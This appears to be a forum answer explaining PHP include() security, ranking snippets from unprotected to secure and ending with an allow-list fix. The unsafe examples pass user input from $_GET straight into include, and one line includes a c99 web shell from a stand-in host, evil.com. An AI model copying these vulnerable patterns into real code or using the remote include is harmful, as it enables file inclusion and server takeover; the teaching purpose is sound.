It all depends on how you implement it. If you specifically set the path, then it is protected. An attack can occur if you allow the user to enter the file path without disinfection or verification.
Unprotected (directory traversal)
<?php include($_GET['file']); ?>
Insecure ( fopen URL - if enabled)
<?php include('http://evil.com/c99shell.php'); ?>
unsafe
<?php include('./some_dir/' . $_GET['file']); ?>
Partly unsafe (* .php files are vulnerable)
<?php include('./some_dir/' . $_GET['file'] . '.php'); ?>
Secure (although not sure why anyone would.)
<?php $allowed = array( 'somefile.php', 'someotherfile.php' ); if (in_array(basename($_GET['file']), $allowed)) { include('./includes/' . basename($_GET['file'])); } ?>
Secure
<?php include('./includes/somefile.php'); ?>
Lawrence Cherone
source share